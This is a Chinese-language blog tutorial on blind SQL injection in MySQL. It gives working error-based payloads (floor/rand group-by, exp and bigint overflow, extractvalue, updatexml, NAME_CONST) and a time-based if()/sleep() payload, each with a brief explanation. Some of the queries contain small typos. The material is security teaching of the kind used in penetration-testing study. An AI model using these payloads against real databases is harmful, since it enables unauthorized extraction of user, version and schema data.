Background-2 盲注的讲解基础概述二

一、基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a

对此语句进行解释:count()进行计数,concat()进行sql语句的连接,floor函数向下取反,rand()函数生成所及数0-1之间,其中a是别名,造成错误的原因分组后数据计数重复造成的错误。

以上语句可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),
floor(rand(0)*2))

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2)

select count(*) from (select 1 union select null union select !1)  group by concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错

select min(@a:=1)  from information_schena.tables group by concat(password,@a:=(@a+1)%2)

double数值类型超出范围

select exp(~(select *from (select uses()))a)

exp是以e为底的对数函数

bigint超出范围~0是对0取反

select !(select *from (select user())x)-~0;

详细内容来自http://www.cnblogs.com/lcamry/articles/5509124.html

extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进
行查询和修改的 xpath 函数,xpath 语法错误

extractvalue()函数

extractvalue(1,concat(0x7e,(select @@version),0x7e))

对extractvalue函数解释

extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。

SQL报错注入的应用:若xpath_expr参数不符合xpath格式,就会报错。

~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

updatexml()函数

updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对 xml 数据进行
查询和修改的 xpath 函数,xpath 语法错误

在这里插入图片描述

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重复特性,此处重复了 version,所以报错。

二、基于时间的 SQL 盲注----------延时注入

基于时间盲注if函数

逻辑判断函数if()

if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语

if(ascill(substr(database(),1,1))>115,0,sleep(5))
//if判断语句如果条件为假则执行,sleep()语句

在这里插入图片描述
在这里插入图片描述

总结

逍遥游,齐物论,养生主,人间世。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值